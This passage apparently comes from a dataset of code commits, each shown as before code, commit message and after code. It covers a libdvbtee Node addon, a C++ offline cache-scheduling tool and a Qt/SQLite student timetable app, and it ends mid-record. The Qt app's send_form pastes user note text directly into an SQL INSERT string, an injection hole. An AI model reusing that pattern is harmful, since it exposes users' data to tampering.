info.GetReturnValue().Set(version);\n}\n\nvoid logLevel(const Nan::FunctionCallbackInfo<v8::Value>& info) {\n\n libdvbtee_set_debug_level((info[0]->IsNumber()) ? info[0]->Uint32Value() : 255,\n (info[1]->IsNumber()) ? info[1]->Uint32Value() : 0);\n\n info.GetReturnValue().Set(info.Holder());\n}\n\nNAN_MODULE_INIT(InitAll) {\n\n Nan::Set(target, Nan::New<v8::String>(\"logLevel\").ToLocalChecked(),\n Nan::GetFunction(Nan::New<v8::FunctionTemplate>(logLevel)).ToLocalChecked());\n\n Nan::Set(target, Nan::New<v8::String>(\"libVersion\").ToLocalChecked(),\n Nan::GetFunction(Nan::New<v8::FunctionTemplate>(libVersion)).ToLocalChecked());\n\n dvbteeParser::Init(target);\n}\n\nNODE_MODULE(dvbtee, InitAll)\n<commit_msg>addon: add functions getTableDecoderIds & getDescriptorDecoderIds<commit_after>#include <nan.h>\n#include \"addon.h\"\n#include \"dvbtee-parser.h\"\n\n\nvoid libVersion(const Nan::FunctionCallbackInfo<v8::Value>& info) {\n\n v8::Local<v8::Array> version = Nan::New<v8::Array>();\n\n version->Set(0, Nan::New<v8::Number>(LIBDVBTEE_VERSION_A) );\n version->Set(1, Nan::New<v8::Number>(LIBDVBTEE_VERSION_B) );\n version->Set(2, Nan::New<v8::Number>(LIBDVBTEE_VERSION_C) );\n\n info.GetReturnValue().Set(version);\n}\n\nvoid logLevel(const Nan::FunctionCallbackInfo<v8::Value>& info) {\n\n libdvbtee_set_debug_level((info[0]->IsNumber()) ? info[0]->Uint32Value() : 255,\n (info[1]->IsNumber()) ? info[1]->Uint32Value() : 0);\n\n info.GetReturnValue().Set(info.Holder());\n}\n\ntemplate<typename T> v8::Local<v8::Array> vectorToV8Array(std::vector<T> v) {\n\n v8::Local<v8::Array> a = Nan::New<v8::Array>();\n unsigned int pos = 0;\n\n for (typename std::vector<T>::const_iterator it = v.begin(); it != v.end(); ++it)\n a->Set(pos++, Nan::New(*it) );\n\n return a;\n}\n\nvoid getTableDecoderIds(const Nan::FunctionCallbackInfo<v8::Value>& info) {\n\n info.GetReturnValue().Set(vectorToV8Array(dvbtee::decode::TableRegistry::instance().list()));\n}\n\nvoid getDescriptorDecoderIds(const Nan::FunctionCallbackInfo<v8::Value>& info) {\n\n info.GetReturnValue().Set(vectorToV8Array(dvbtee::decode::DescriptorRegistry::instance().list()));\n}\n\nNAN_MODULE_INIT(InitAll) {\n\n Nan::Set(target, Nan::New<v8::String>(\"logLevel\").ToLocalChecked(),\n Nan::GetFunction(Nan::New<v8::FunctionTemplate>(logLevel)).ToLocalChecked());\n\n Nan::Set(target, Nan::New<v8::String>(\"libVersion\").ToLocalChecked(),\n Nan::GetFunction(Nan::New<v8::FunctionTemplate>(libVersion)).ToLocalChecked());\n\n Nan::Set(target, Nan::New<v8::String>(\"getTableDecoderIds\").ToLocalChecked(),\n Nan::GetFunction(Nan::New<v8::FunctionTemplate>(getTableDecoderIds)).ToLocalChecked());\n\n Nan::Set(target, Nan::New<v8::String>(\"getDescriptorDecoderIds\").ToLocalChecked(),\n Nan::GetFunction(Nan::New<v8::FunctionTemplate>(getDescriptorDecoderIds)).ToLocalChecked());\n\n dvbteeParser::Init(target);\n}\n\nNODE_MODULE(dvbtee, InitAll)\n<|endoftext|>"} {"text":"<commit_before>#include <cassert>\n#include <iostream>\n#include <fstream>\n#include <map>\n#include <unordered_map>\n#include <unordered_set>\n#include <tuple>\n#include <stack>\n#include <vector>\n#include <string>\n#include <algorithm>\n#include <functional>\n\n\/\/ uncomment to enable debugging:\n\/\/#define CDEBUG 1\n\/\/#define EDEBUG 1\n\n\/\/ util for debug\n#ifdef CDEBUG\n#define LOGnl(m,x,y,z,a) log_message(m,x,y,z,a,\"\\n\")\n#define LOG(m,x,y,z,a) log_message(m,x,y,z,a,\"\")\n#else\n#define LOGnl(m,x,y,z,a)\n#define LOG(m,x,y,z,a)\n#endif\n#ifdef EDEBUG\n#define LOGE(m,x,y,z,a) log_message(m,x,y,z,a,\"\\n\")\n#else\n#define LOGE(m,x,y,z,a)\n#endif\ninline void log_message(std::string m, double x, double y, double z, double a, std::string e) {\n std::cerr << m << \",\" << x << \",\" << y << \",\" << z << \",\" << a << e;\n}\n\nstruct trEntry {\n const uint64_t id;\n const uint64_t size;\n double pval;\n size_t nextSeen;\n bool inSchedule;\n bool hasNext;\n\n trEntry(uint64_t nid, uint64_t nsize)\n : id(nid),\n size(nsize)\n {\n pval = 1;\n nextSeen = 0;\n inSchedule = false;\n hasNext = false;\n };\n};\n\nint main(int argc, char* argv[]) {\n\n \/\/ parameters\n std::string path(argv[1]);\n uint64_t cacheSize(atoll(argv[2]));\n\n \/\/ each interval is represented by the index of the trace, where it started\n \/\/ store trace here\n std::vector<trEntry> trace;\n \/\/ store lastSeen entries here\n std::map<std::pair<uint64_t, uint64_t>, size_t> lastSeen;\n \/\/ store which intervals are in the schedule\n std::unordered_set< size_t > scheduleSet;\n\n \/\/ open trace file\n std::ifstream traceFile(path);\n uint64_t time, id, size, reqc=0;\n \/\/ scan trace and initialize data structures\n while(traceFile >> time >> id >> size) {\n \/\/ only consider objects that are requested at least once (ignore last request, because doesn't make sense to cache that one)\n if(lastSeen.count(std::make_pair(id,size))>0) {\n \/\/ see object second time: add to schedule and initialize datastructures\n \/\/ find trace index where this interval started\n const size_t indexLastSeen = lastSeen[std::make_pair(id,size)];\n \/\/ add to schedule the start index of this interval\n \/\/ TODO MIGHT NOT NEED THIS\n scheduleSet.insert(indexLastSeen);\n trEntry & lastSeenEntry = trace[indexLastSeen];\n \/\/ update trace so that we know this interval has finite length\n lastSeenEntry.hasNext = true;\n \/\/ update trace so that we know the end time of this interval\n lastSeenEntry.nextSeen = reqc;\n \/\/ update trace: this interval is in schedule\n lastSeenEntry.inSchedule = true;\n }\n \/\/ store: id, size, bool seen before, pvalue, start of this interval (if started)\n trace.emplace_back(id,size);\n lastSeen[std::make_pair(id,size)]=reqc++;\n }\n\n \/\/ free memory\n lastSeen.clear();\n std::cerr << \"parsed trace\\n\";\n \n \/\/ DEBUG print trace\n#ifdef CDEBUG\n reqc = 0;\n LOGnl(\"TRACE\",0,0,0,0);\n for(auto & curEntry : trace) {\n LOGnl(\" \",curEntry.id,curEntry.size,0,curEntry.nextSeen);\n }\n#endif\n \/\/ END DEBUG\n \n\n \/\/ create feasible schedule by excluding worst feasibility violations \n \/\/ i.e., select largest delta in every iteration\n\n \/\/ store excluded intervals in a stack for later\n std::stack<size_t> excluded;\n\n \/\/ delta data structures\n int64_t curDelta;\n int64_t deltaStar;\n size_t timeStar;\n \/\/ map: intersecting interval set\n std::map<std::pair<uint64_t, uint64_t>, size_t> curI; \/\/intersecting intervals at current time\n std::map<std::pair<uint64_t, uint64_t>, size_t> maxI; \/\/ intersectin intervals at timeStar\n\n \/\/ iterate (every iteration removes one interval, so max iteration count = trace size)\n for(size_t i=0; i<trace.size(); i++) {\n\n \/\/ find highest delta\n reqc = 0;\n \/\/ iterate over all time instances (we can skip the last one)\n\n maxI.clear();\n curDelta = -cacheSize;\n deltaStar = -cacheSize;\n timeStar = 0;\n for(size_t j=0; j<trace.size(); j++) {\n trEntry & curEntry = trace[j];\n\n \/\/ if no next request and in intersecting intervals -> remove\n if(!curEntry.hasNext & curI.count(std::make_pair(curEntry.id,curEntry.size))>0) {\n curI.erase(std::make_pair(curEntry.id,curEntry.size));\n curDelta -= curEntry.size;\n assert(!curEntry.inSchedule);\n }\n\n \/\/ if in schedule -> update curI\n if(curEntry.inSchedule) {\n\n \/\/ if not already in current intersecting set\n if(curI.count(std::make_pair(curEntry.id,curEntry.size))<=0 ) {\n curDelta += curEntry.size;\n } \/\/ else: don't need update the size\/width\n\n \/\/ add to current intersecting set\n curI[std::make_pair(curEntry.id,curEntry.size)] = j;\n\n \/\/ check if we need to update deltaStar\n if(curDelta > deltaStar) {\n deltaStar = curDelta;\n timeStar = j;\n \/\/ copy intersecting set\n maxI = curI;\n }\n }\n\n#ifdef CDEBUG\n for(auto it: curI) {\n trEntry & curEntry = trace[it.second];\n LOG(\"|\",curEntry.id,curEntry.size,0,0);\n }\n LOGnl(\"| TW \",curDelta,j,deltaStar,timeStar);\n#endif \n }\n\n \/\/ check if we found a feasible solution\n if(deltaStar <= 0)\n break;\n\n curI.clear();\n assert(maxI.size()>0);\n assert(deltaStar > 0);\n assert(timeStar > 0); \/\/ first time interval can't be the unstable one\n \n LOGnl(\"\\nd*,t*\",deltaStar,timeStar,0,0);\n std::cout << \"d*\" << deltaStar << \" t* \" << timeStar << \"\\n\";\n \n \/\/ find smallest rho so that p2 reaches zero\n double rho = 1;\n size_t toExclude = 0;\n for(auto & vit : maxI) {\n trEntry & curEntry = trace[vit.second];\n const double thisRho = curEntry.pval\/static_cast<double>(curEntry.size);\n if(thisRho <= rho) {\n rho = thisRho;\n toExclude = vit.second;\n LOGE(\"mrho\",rho,vit.second,curEntry.pval,curEntry.size);\n }\n }\n assert(rho < 1);\n LOGnl(\"min rho \",rho,0,0,0);\n \/\/ std::cout << \" mrho \" << rho << \"\\n\";\n \n \/\/ update p2, exclude intervals with p2=0 from schedule\n for(auto & vit : maxI) {\n trEntry & curEntry = trace[vit.second];\n\n \/\/ if (min-rho-entry or p2==0): we need the first check due to double rounding errors\n if(vit.second==toExclude || curEntry.pval <= rho * curEntry.size ) {\n LOGnl(\"exclude (t,id,size,p2)\",vit.second,id,curEntry.size,curEntry.pval - rho*curEntry.size);\n curEntry.pval = 0;\n curEntry.inSchedule = false;\n \/\/ add current interval to excluded ones\n excluded.push(vit.second);\n \/\/ delete from current schedule\n scheduleSet.erase(vit.second);\n } else {\n \/\/ p2 >= 0\n curEntry.pval -= curEntry.size <= deltaStar ? rho * curEntry.size : rho * deltaStar; \/\/ pval = pval - p1\n }\n }\n }\n maxI.clear();\n std::cerr << \"found feasible schedule\\n\";\n std::cout << \"hitc \" << scheduleSet.size() << \" reqc \" << trace.size() << \" OHR \" << static_cast<double>(scheduleSet.size())\/trace.size() << \"\\n\";\n\n \/\/ we now have a feasible schedule, which might not be maximal\n\n while (!excluded.empty())\n {\n const size_t firstSeen = excluded.top();\n trEntry & newEntry = trace[excluded.top()];\n curI.clear();\n curDelta = -cacheSize;\n deltaStar = -cacheSize;\n\n for(size_t j=0; j<trace.size(); j++) {\n trEntry & curEntry = trace[j];\n\n \/\/ if no next request and in intersecting intervals -> remove\n if(!curEntry.hasNext & curI.count(std::make_pair(curEntry.id,curEntry.size))>0) {\n curI.erase(std::make_pair(curEntry.id,curEntry.size));\n curDelta -= curEntry.size;\n assert(!curEntry.inSchedule);\n }\n\n \/\/ if in schedule -> update curI\n if(j==excluded.top() || curEntry.inSchedule) {\n\n \/\/ if not already in current intersecting set\n if(curI.count(std::make_pair(curEntry.id,curEntry.size))<=0 ) {\n curDelta += curEntry.size;\n } \/\/ else: don't need update the size\/width\n\n \/\/ add to current intersecting set\n curI[std::make_pair(curEntry.id,curEntry.size)] = j;\n\n \/\/ check if we need to update deltaStar\n if(curDelta > deltaStar) {\n deltaStar = curDelta;\n }\n }\n }\n \/\/ if still feasible add excluded.top() to schedule\n if(deltaStar <=0) {\n newEntry.inSchedule = true;\n scheduleSet.insert(excluded.top());\n }\n\n \/\/ pop stack\n excluded.pop();\n }\n\n std::cerr << \"found maximal schedule\\n\";\n\n std::cout << \"hitc \" << scheduleSet.size() << \" reqc \" << trace.size() << \" OHR \" << static_cast<double>(scheduleSet.size())\/trace.size() << \"\\n\";\n \n return 0;\n}\n<commit_msg>less cout output<commit_after>#include <cassert>\n#include <iostream>\n#include <fstream>\n#include <map>\n#include <unordered_map>\n#include <unordered_set>\n#include <tuple>\n#include <stack>\n#include <vector>\n#include <string>\n#include <algorithm>\n#include <functional>\n\n\/\/ uncomment to enable debugging:\n\/\/#define CDEBUG 1\n\/\/#define EDEBUG 1\n\n\/\/ util for debug\n#ifdef CDEBUG\n#define LOGnl(m,x,y,z,a) log_message(m,x,y,z,a,\"\\n\")\n#define LOG(m,x,y,z,a) log_message(m,x,y,z,a,\"\")\n#else\n#define LOGnl(m,x,y,z,a)\n#define LOG(m,x,y,z,a)\n#endif\n#ifdef EDEBUG\n#define LOGE(m,x,y,z,a) log_message(m,x,y,z,a,\"\\n\")\n#else\n#define LOGE(m,x,y,z,a)\n#endif\ninline void log_message(std::string m, double x, double y, double z, double a, std::string e) {\n std::cerr << m << \",\" << x << \",\" << y << \",\" << z << \",\" << a << e;\n}\n\nstruct trEntry {\n const uint64_t id;\n const uint64_t size;\n double pval;\n size_t nextSeen;\n bool inSchedule;\n bool hasNext;\n\n trEntry(uint64_t nid, uint64_t nsize)\n : id(nid),\n size(nsize)\n {\n pval = 1;\n nextSeen = 0;\n inSchedule = false;\n hasNext = false;\n };\n};\n\nint main(int argc, char* argv[]) {\n\n \/\/ parameters\n std::string path(argv[1]);\n uint64_t cacheSize(atoll(argv[2]));\n\n \/\/ each interval is represented by the index of the trace, where it started\n \/\/ store trace here\n std::vector<trEntry> trace;\n \/\/ store lastSeen entries here\n std::map<std::pair<uint64_t, uint64_t>, size_t> lastSeen;\n \/\/ store which intervals are in the schedule\n std::unordered_set< size_t > scheduleSet;\n\n \/\/ open trace file\n std::ifstream traceFile(path);\n uint64_t time, id, size, reqc=0;\n \/\/ scan trace and initialize data structures\n while(traceFile >> time >> id >> size) {\n \/\/ only consider objects that are requested at least once (ignore last request, because doesn't make sense to cache that one)\n if(lastSeen.count(std::make_pair(id,size))>0) {\n \/\/ see object second time: add to schedule and initialize datastructures\n \/\/ find trace index where this interval started\n const size_t indexLastSeen = lastSeen[std::make_pair(id,size)];\n \/\/ add to schedule the start index of this interval\n \/\/ TODO MIGHT NOT NEED THIS\n scheduleSet.insert(indexLastSeen);\n trEntry & lastSeenEntry = trace[indexLastSeen];\n \/\/ update trace so that we know this interval has finite length\n lastSeenEntry.hasNext = true;\n \/\/ update trace so that we know the end time of this interval\n lastSeenEntry.nextSeen = reqc;\n \/\/ update trace: this interval is in schedule\n lastSeenEntry.inSchedule = true;\n }\n \/\/ store: id, size, bool seen before, pvalue, start of this interval (if started)\n trace.emplace_back(id,size);\n lastSeen[std::make_pair(id,size)]=reqc++;\n }\n\n \/\/ free memory\n lastSeen.clear();\n std::cerr << \"parsed trace\\n\";\n \n \/\/ DEBUG print trace\n#ifdef CDEBUG\n reqc = 0;\n LOGnl(\"TRACE\",0,0,0,0);\n for(auto & curEntry : trace) {\n LOGnl(\" \",curEntry.id,curEntry.size,0,curEntry.nextSeen);\n }\n#endif\n \/\/ END DEBUG\n \n\n \/\/ create feasible schedule by excluding worst feasibility violations \n \/\/ i.e., select largest delta in every iteration\n\n \/\/ store excluded intervals in a stack for later\n std::stack<size_t> excluded;\n\n \/\/ delta data structures\n int64_t curDelta;\n int64_t deltaStar;\n size_t timeStar;\n \/\/ map: intersecting interval set\n std::map<std::pair<uint64_t, uint64_t>, size_t> curI; \/\/intersecting intervals at current time\n std::map<std::pair<uint64_t, uint64_t>, size_t> maxI; \/\/ intersectin intervals at timeStar\n\n \/\/ iterate (every iteration removes one interval, so max iteration count = trace size)\n for(size_t i=0; i<trace.size(); i++) {\n\n \/\/ find highest delta\n reqc = 0;\n \/\/ iterate over all time instances (we can skip the last one)\n\n maxI.clear();\n curDelta = -cacheSize;\n deltaStar = -cacheSize;\n timeStar = 0;\n for(size_t j=0; j<trace.size(); j++) {\n trEntry & curEntry = trace[j];\n\n \/\/ if no next request and in intersecting intervals -> remove\n if(!curEntry.hasNext & curI.count(std::make_pair(curEntry.id,curEntry.size))>0) {\n curI.erase(std::make_pair(curEntry.id,curEntry.size));\n curDelta -= curEntry.size;\n assert(!curEntry.inSchedule);\n }\n\n \/\/ if in schedule -> update curI\n if(curEntry.inSchedule) {\n\n \/\/ if not already in current intersecting set\n if(curI.count(std::make_pair(curEntry.id,curEntry.size))<=0 ) {\n curDelta += curEntry.size;\n } \/\/ else: don't need update the size\/width\n\n \/\/ add to current intersecting set\n curI[std::make_pair(curEntry.id,curEntry.size)] = j;\n\n \/\/ check if we need to update deltaStar\n if(curDelta > deltaStar) {\n deltaStar = curDelta;\n timeStar = j;\n \/\/ copy intersecting set\n maxI = curI;\n }\n }\n\n#ifdef CDEBUG\n for(auto it: curI) {\n trEntry & curEntry = trace[it.second];\n LOG(\"|\",curEntry.id,curEntry.size,0,0);\n }\n LOGnl(\"| TW \",curDelta,j,deltaStar,timeStar);\n#endif \n }\n\n \/\/ check if we found a feasible solution\n if(deltaStar <= 0)\n break;\n\n curI.clear();\n assert(maxI.size()>0);\n assert(deltaStar > 0);\n assert(timeStar > 0); \/\/ first time interval can't be the unstable one\n \n LOGnl(\"\\nd*,t*\",deltaStar,timeStar,0,0);\n \n \/\/ find smallest rho so that p2 reaches zero\n double rho = 1;\n size_t toExclude = 0;\n for(auto & vit : maxI) {\n trEntry & curEntry = trace[vit.second];\n const double thisRho = curEntry.pval\/static_cast<double>(curEntry.size);\n if(thisRho <= rho) {\n rho = thisRho;\n toExclude = vit.second;\n LOGE(\"mrho\",rho,vit.second,curEntry.pval,curEntry.size);\n }\n }\n assert(rho < 1);\n LOGnl(\"min rho \",rho,0,0,0);\n \n \/\/ update p2, exclude intervals with p2=0 from schedule\n for(auto & vit : maxI) {\n trEntry & curEntry = trace[vit.second];\n\n \/\/ if (min-rho-entry or p2==0): we need the first check due to double rounding errors\n if(vit.second==toExclude || curEntry.pval <= rho * curEntry.size ) {\n LOGnl(\"exclude (t,id,size,p2)\",vit.second,id,curEntry.size,curEntry.pval - rho*curEntry.size);\n curEntry.pval = 0;\n curEntry.inSchedule = false;\n \/\/ add current interval to excluded ones\n excluded.push(vit.second);\n \/\/ delete from current schedule\n scheduleSet.erase(vit.second);\n } else {\n \/\/ p2 >= 0\n curEntry.pval -= curEntry.size <= deltaStar ? rho * curEntry.size : rho * deltaStar; \/\/ pval = pval - p1\n }\n }\n }\n maxI.clear();\n std::cerr << \"found feasible schedule\\n\";\n std::cout << \"hitc \" << scheduleSet.size() << \" reqc \" << trace.size() << \" OHR \" << static_cast<double>(scheduleSet.size())\/trace.size() << \"\\n\";\n\n \/\/ we now have a feasible schedule, which might not be maximal\n\n while (!excluded.empty())\n {\n const size_t firstSeen = excluded.top();\n trEntry & newEntry = trace[excluded.top()];\n curI.clear();\n curDelta = -cacheSize;\n deltaStar = -cacheSize;\n\n for(size_t j=0; j<trace.size(); j++) {\n trEntry & curEntry = trace[j];\n\n \/\/ if no next request and in intersecting intervals -> remove\n if(!curEntry.hasNext & curI.count(std::make_pair(curEntry.id,curEntry.size))>0) {\n curI.erase(std::make_pair(curEntry.id,curEntry.size));\n curDelta -= curEntry.size;\n assert(!curEntry.inSchedule);\n }\n\n \/\/ if in schedule -> update curI\n if(j==excluded.top() || curEntry.inSchedule) {\n\n \/\/ if not already in current intersecting set\n if(curI.count(std::make_pair(curEntry.id,curEntry.size))<=0 ) {\n curDelta += curEntry.size;\n } \/\/ else: don't need update the size\/width\n\n \/\/ add to current intersecting set\n curI[std::make_pair(curEntry.id,curEntry.size)] = j;\n\n \/\/ check if we need to update deltaStar\n if(curDelta > deltaStar) {\n deltaStar = curDelta;\n }\n }\n }\n \/\/ if still feasible add excluded.top() to schedule\n if(deltaStar <=0) {\n newEntry.inSchedule = true;\n scheduleSet.insert(excluded.top());\n }\n\n \/\/ pop stack\n excluded.pop();\n }\n\n std::cerr << \"found maximal schedule\\n\";\n std::cout << \"hitc \" << scheduleSet.size() << \" reqc \" << trace.size() << \" OHR \" << static_cast<double>(scheduleSet.size())\/trace.size() << \"\\n\";\n \n return 0;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"mainwindow.h\"\n#include \"ui_mainwindow.h\"\n#include \"schedule.h\"\n\nMainWindow::MainWindow(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::MainWindow)\n{\n ui->setupUi(this);\n\n marks_select();\n schedule_show();\n QString name_day[] = {\"понедельник\", \"вторник\", \"среда\", \"четверг\", \"пятница\", \"суббота\", \"воскресение\"};\n QString h1_text = \"Сегодня\";\n\n h1_text.append(\", \");\n h1_text.append(current_date.toString(\"d MMM yyyy\"));\n h1_text.append(\", \");\n h1_text.append(name_day[day_week-1]);\n h1_text.append(\", идет \");\n h1_text.append(QString::number(cur_week));\n h1_text.append(\"-ая неделя учебы\");\n ui->h1_main->setText(h1_text);\n\n ui->form_save_lable->hide();\n ui->dateEdit->setDate(current_date);\n\n connect(ui->pushButton,SIGNAL(clicked()),this,SLOT(send_form()));\n\n for (int i = 1; i <= 6; i++) \/\/назначаем одинаковые сигналы всем кнопкам\n {\n QPushButton *butt = findChild<QPushButton *>(\"sch_\" + QString::number(i));\n if (butt == nullptr) continue; \/\/если объект не найден\n connect(butt,SIGNAL(clicked()),this,SLOT(open_sch()));\n }\n\n QPixmap myPixmap(\"C:\/qtprojects\/curs\/course_2016.git\/tem2.jpg\"); \/\/фотография\n ui->photo->setPixmap(myPixmap);\n}\n\nMainWindow::~MainWindow()\n{\n delete ui;\n}\n\nvoid MainWindow::db_connect()\n{\n QSqlDatabase dbase = QSqlDatabase::addDatabase(\"QSQLITE\");\n dbase.setDatabaseName(\"C:\/qtprojects\/curs\/course_2016.git\/mydatabase.sqlite\");\n if (!dbase.open())\n {\n qDebug() << \"Ошибка открытия базы данных!\";\n\n }\n else\n {\n _db_connect = 1; \/\/если база данных успешно подключена, то меняем параметр на 1\n }\n}\n\nvoid MainWindow::marks_select()\n{\n if(!_db_connect)db_connect(); \/\/проверка подключения к базе\n marks_text = \"\"; \/\/ обнуляем переменную\n\n QSqlQuery a_query; \/\/ переменная для запроса\n\n if (!a_query.exec(\"SELECT * FROM marks WHERE time = date('now')\"))\n {\n qDebug() << \"Ошибка выполнения запроса SELECT\";\n }\n\n\n QSqlRecord res = a_query.record(); \/\/результат запроса\n\n while (a_query.next())\n {\n marks_text.append(\"\\n\\n\"); \/\/отступ от заметок\n marks_text.append(a_query.value(res.indexOf(\"text\")).toString());\n }\n\n \/\/if(marks_text == \"\") marks_text = \"Заметок на сегодня нет!\";\n\n ui->marks_conteiner->setText(marks_text);\n}\n\nvoid MainWindow::sch_select(int day_week, int week)\n{\n if(day_week == 7)\n {\n sch_text = \"Ура! Cегодня пар нет!\";\n return;\n }\n int type_week = 1;\n if(week % 2 == 0) type_week = 2;\n if(!_db_connect)db_connect(); \/\/проверка подключения к базе\n sch_text = \"\"; \/\/ обнуляем переменную\n\n QSqlQuery a_query; \/\/ переменная для запроса\n QString str_select; \/\/текст запроса\n\n if(type_week == 2) str_select = \"SELECT * FROM schedule WHERE day = %1 LIMIT 5\";\n if(type_week == 1) str_select = \"SELECT * FROM schedule WHERE day = %1 LIMIT 5,5\";\n QString str = str_select.arg(day_week);\n\n\n if (!a_query.exec(str))\n {\n qDebug() << \"Ошибка выполнения запроса SELECT\";\n }\n\n\n QSqlRecord res = a_query.record(); \/\/результат запроса\n int i = 1; \/\/счетчик пар\n while (a_query.next())\n {\n sch_text.append(QString::number(i));\n sch_text.append(\". \");\n QString para = a_query.value(res.indexOf(\"name\")).toString();\n if(para == \"\") sch_text.append(\"-\"); else sch_text.append(para);\n sch_text.append(\"\\n\\n\");\n i++;\n }\n if(sch_text == \"\") sch_text = \"Ура! Cегодня пар нет!\";\n}\n\n\nvoid MainWindow::send_form()\n{\n mark = ui->textEdit->toPlainText();\n mark = mark.simplified(); \/\/убираем лишние пробелы из строки\n\n form_date = ui->dateEdit->text();\n\n if(mark == \"\")\n {\n ui->form_save_lable->setText(\"Введите текст заметки\");\n ui->form_save_lable->show();\n return;\n }\n\n if(!_db_connect)db_connect(); \/\/проверка подключения к базе\n\n QSqlQuery a_query;\n\n QString str_insert = \"INSERT INTO marks(text,time) \"\n \"VALUES ('%1', '%2');\";\n QString str = str_insert.arg(mark)\n .arg(form_date);\n\n bool b = a_query.exec(str);\n\n if (!b)\n {\n qDebug() << \"Ошибка выполнения запроса INSERT\";\n }\n\n ui->textEdit->clear();\n ui->dateEdit->setDate(current_date);\n ui->form_save_lable->setText(\"Заметка сохранена!\");\n ui->form_save_lable->show();\n marks_select();\n}\nvoid MainWindow::open_sch()\n{\n QObject* obj = QObject::sender(); \/\/объект, который запустил слот\n\n QString obj_name = obj->objectName(); \/\/ имя объекта\n\n int day;\n\n if(obj_name == \"sch_1\") day = 1;\n else if(obj_name == \"sch_2\") day = 2;\n else if(obj_name == \"sch_3\") day = 3;\n else if(obj_name == \"sch_4\") day = 4;\n else if(obj_name == \"sch_5\") day = 5;\n else if(obj_name == \"sch_6\") day = 6;\n\n schedule sch(this,day);\n connect(&sch,&schedule::sch_update,this,&MainWindow::schedule_show); \/\/коннектор обновления расписания в главном окне\n sch.exec();\n}\nvoid MainWindow::schedule_show()\n{\n sch_select(day_week,cur_week); \/\/выборка расписания на текущий день из таблицы\n ui->sch_output->setText(sch_text); \/\/вывод в lable в главное окно\n}\n\nvoid MainWindow::date()\n{\n QDate start_date1;\n start_date1.setDate(year, 9, 1);\n QDate start_date2;\n start_date2.setDate(year, 9, 1); \/\/здесь я задумался, как же определить день начала занятий или дать возможность выбора пользователю?\n\n}\n<commit_msg>изменение функции date<commit_after>#include \"mainwindow.h\"\n#include \"ui_mainwindow.h\"\n#include \"schedule.h\"\n\nMainWindow::MainWindow(QWidget *parent) :\n QMainWindow(parent),\n ui(new Ui::MainWindow)\n{\n ui->setupUi(this);\n\n db_connect();\n bool res_date = date();\n marks_select();\n if (!res_date) schedule_show(); \/\/если каникулы или сессия не выводим расписание\n QString name_day[] = {\"понедельник\", \"вторник\", \"среда\", \"четверг\", \"пятница\", \"суббота\", \"воскресение\"};\n QString h1_text = \"Сегодня\";\n\n h1_text.append(\", \");\n h1_text.append(current_date.toString(\"d MMM yyyy\"));\n h1_text.append(\", \");\n h1_text.append(name_day[day_week-1]);\n\n if(!res_date)\n {\n h1_text.append(\", идет \");\n h1_text.append(QString::number(cur_week));\n h1_text.append(\"-ая неделя учебы\");\n }\n\n ui->h1_main->setText(h1_text);\n\n ui->form_save_lable->hide();\n ui->dateEdit->setDate(current_date);\n\n connect(ui->pushButton,SIGNAL(clicked()),this,SLOT(send_form()));\n\n for (int i = 1; i <= 6; i++) \/\/назначаем одинаковые сигналы всем кнопкам\n {\n QPushButton *butt = findChild<QPushButton *>(\"sch_\" + QString::number(i));\n if (butt == nullptr) continue; \/\/если объект не найден\n connect(butt,SIGNAL(clicked()),this,SLOT(open_sch()));\n }\n\n QPixmap myPixmap(\"C:\/qtprojects\/curs\/course_2016.git\/tem2.jpg\"); \/\/фотография\n ui->photo->setPixmap(myPixmap);\n}\n\nMainWindow::~MainWindow()\n{\n delete ui;\n}\n\nvoid MainWindow::db_connect()\n{\n QSqlDatabase dbase = QSqlDatabase::addDatabase(\"QSQLITE\");\n dbase.setDatabaseName(\"C:\/qtprojects\/curs\/course_2016.git\/mydatabase.sqlite\");\n if (!dbase.open())\n {\n qDebug() << \"Ошибка открытия базы данных!\";\n\n }\n}\n\nvoid MainWindow::marks_select()\n{\n marks_text = \"\"; \/\/ обнуляем переменную\n\n QSqlQuery a_query; \/\/ переменная для запроса\n\n if (!a_query.exec(\"SELECT * FROM marks WHERE time = date('now')\"))\n {\n qDebug() << \"Ошибка выполнения запроса SELECT marks\";\n }\n\n\n QSqlRecord res = a_query.record(); \/\/результат запроса\n\n while (a_query.next())\n {\n marks_text.append(\"\\n\\n\"); \/\/отступ от заметок\n marks_text.append(a_query.value(res.indexOf(\"text\")).toString());\n }\n\n \/\/if(marks_text == \"\") marks_text = \"Заметок на сегодня нет!\";\n\n ui->marks_conteiner->setText(marks_text);\n}\n\nvoid MainWindow::sch_select(int day_week, int week)\n{\n if(day_week == 7)\n {\n sch_text = \"Ура! Cегодня пар нет!\";\n return;\n }\n int type_week = 1;\n if(week % 2 == 0) type_week = 2;\n sch_text = \"\"; \/\/ обнуляем переменную\n\n QSqlQuery a_query; \/\/ переменная для запроса\n QString str_select; \/\/текст запроса\n\n if(type_week == 2) str_select = \"SELECT * FROM schedule WHERE day = %1 LIMIT 5\";\n if(type_week == 1) str_select = \"SELECT * FROM schedule WHERE day = %1 LIMIT 5,5\";\n QString str = str_select.arg(day_week);\n\n\n if (!a_query.exec(str))\n {\n qDebug() << \"Ошибка выполнения запроса SELECT schedule\";\n }\n\n\n QSqlRecord res = a_query.record(); \/\/результат запроса\n int i = 1; \/\/счетчик пар\n while (a_query.next())\n {\n sch_text.append(QString::number(i));\n sch_text.append(\". \");\n QString para = a_query.value(res.indexOf(\"name\")).toString();\n if(para == \"\") sch_text.append(\"-\"); else sch_text.append(para);\n sch_text.append(\"\\n\\n\");\n i++;\n }\n if(sch_text == \"\") sch_text = \"Ура! Cегодня пар нет!\";\n}\n\n\nvoid MainWindow::send_form()\n{\n mark = ui->textEdit->toPlainText();\n mark = mark.simplified(); \/\/убираем лишние пробелы из строки\n\n form_date = ui->dateEdit->text();\n\n if(mark == \"\")\n {\n ui->form_save_lable->setText(\"Введите текст заметки\");\n ui->form_save_lable->show();\n return;\n }\n\n\n QSqlQuery a_query;\n\n QString str_insert = \"INSERT INTO marks(text,time) \"\n \"VALUES ('%1', '%2');\";\n QString str = str_insert.arg(mark)\n .arg(form_date);\n\n bool b = a_query.exec(str);\n\n if (!b)\n {\n qDebug() << \"Ошибка выполнения запроса INSERT marks\";\n }\n\n ui->textEdit->clear();\n ui->dateEdit->setDate(current_date);\n ui->form_save_lable->setText(\"Заметка сохранена!\");\n ui->form_save_lable->show();\n marks_select();\n}\nvoid MainWindow::open_sch()\n{\n QObject* obj = QObject::sender(); \/\/объект, который запустил слот\n\n QString obj_name = obj->objectName(); \/\/ имя объекта\n\n int 